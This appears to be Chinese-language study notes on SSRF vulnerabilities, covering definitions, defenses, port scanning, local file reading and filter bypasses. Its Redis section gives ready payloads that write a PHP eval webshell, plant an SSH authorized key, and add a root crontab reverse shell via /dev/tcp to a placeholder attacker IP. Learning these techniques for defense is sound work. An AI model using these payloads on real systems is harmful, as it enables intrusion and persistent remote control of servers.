SSRF

1. 定义

  • SSRF(Server-side Request Forgery,服务端请求伪造)是一种****由攻击者构造形成由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是从外网无法访问的内网系统。正是由于它是由服务端发起的,所以他能够请求到与他相连而与外网隔离的内部系统

2. 危害

  1. 端口扫描
  2. 内网Web应用指纹识别
  3. 攻击内网Web应用
  4. 读取本地文件

3. 防御

  1. 限制请求的****端口只能为Web端口,只允许发送HTTP和HTTPS的请求
  2. 设置****白名单,或限制内网IP,以防止对内网进行攻击
  3. 禁止****30x跳转
  4. 屏蔽返回的详细信息
  5. 过滤用户输入的URL

4. 相关函数

  • 涉及到****网络访问支持伪协议的网络读取的函数
  1. file_get_content()
    • 把文件****写入字符串,若为内网url的文件,会先读出来再写入
  2. curl_exec()
    • 常通过****filedictgopher协议来渗透
  3. fsockopen()
    • 打开一个****网络连接Unix套接字连接

curl_exec


5. 漏洞利用

(1). 端口扫描

  • 当设置参数URL为内网地址时,会****泄露内网信息,比如内网的某个服务是否开放
    ?url=ip:port
        <!--开放端口-->
        	返回服务信息,或是403报错
        <!--未开放端口-->
        	返回404
    

端口未开放

端口已开放


(2). 获取正常文件

http://192.168.71.15/ssrf3.php?url=http://www.baidu.com/robots.txt

读取正常文件


(3). 读取系统本地文件

  • 利用****file协议可以任意读取系统本地文件
    读取系统本地文件

(4). 内网Web应用指纹识别

  • 大多数Web应用框架都有一些****独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本,进而作出进一步针对攻击
#探测是否安装了phpmyadmin
http://192.168.71.15/ssrf3.php?url=http://localhost/phpmyadmin/README

(5). 端口探测

  • 由于XXE漏洞可以利用****http协议,故利用该http请求去探查内网,进行SSRF攻击
  • 可以根据响应时间/长度判断端口是否开放

6. Redis+gopher

(2). Redis条件

  1. 未授权访问,在访问redis数据库时,不需要提供用户名和密码,或弱口令
  2. 具有root权限
  3. 可以读写文件
  4. **默认端口号为:**6379

(3)方法

a. 绝对路径写Webshell
①前提
  • 需要知道Web的绝对路径
②构造payload
  1. redis命令
    flushall
    set 1 '<?php eval($_GET["cmd"]); ?>'
    config set dir /var/www/html
    config set dbfilename shell.php
    save
    

b. 写SSH公钥
①前提
  • 目标机开启SSH服务
②说明
  • 如果.ssh目录存在,则直接写入~/.ssh/authorized_keys,如果不存在,则利用crontab创建该目录
③方法
  • 本地生成RSA公钥私钥对,将公钥通过redis写入~/.ssh/authorized_keys,实现SSH免密登录
④构造payload
  1. redis命令
    flushall
    set 1 '生成的RSA公钥私钥对'
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save
    

c. 写crontab计划任务反弹shell
①前提
  • Centos系统
  • crontab定时文件位置| 目录 | 说明 |
    | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
    | /etc/crontab | 一定存在的文件 |
    | /etc/cron.d/* | 将任意文件写入到该目录下,效果和crontab相同,利用这个目录可以做到不覆盖任何其他文件的情况下进行反弹shell |
    | /var/spool/cron/root | centos系统下root用户的cron文件 |
    | /var/spool/cron/crontabs/root | debian系统下root用户的cron文件 |
②payload
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/[反弹机IP]/[port] 0>&1\n\n'
config set dir /var/spool/cron
config set dbfilename root
save
d. 主从复制RCE

7. 绕过

(1). 限制域名

  1. 采用http基本身份认证的绕过方式,即使用@绕过,如:http://www.aaa.com@www.bbb.com@www.ccc.com
  2. 在对@的解析域名中,****不同的处理函数存在处理差异,如:PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

(2). 限制请求ip

  1. 短网址绕过
  2. 特殊域名
    • xip.io可以指向任意域名,即``127.0.0.1.xip.io => 127.0.0.1`
  3. 进制转换
    • 127.0.0.1 => 0x7f.0.0.1

(3). 限制请求为http

  1. 采取302跳转,使用302跳转地址
  2. 采取短地址